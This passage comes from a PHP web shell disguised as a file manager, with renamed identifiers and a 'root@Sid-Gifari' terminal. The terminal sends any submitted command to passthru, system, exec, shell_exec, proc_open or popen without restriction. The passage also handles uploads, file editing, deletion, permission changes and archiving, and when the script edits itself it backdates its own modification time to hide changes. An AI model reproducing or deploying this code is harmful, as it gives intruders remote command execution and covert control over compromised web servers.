<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
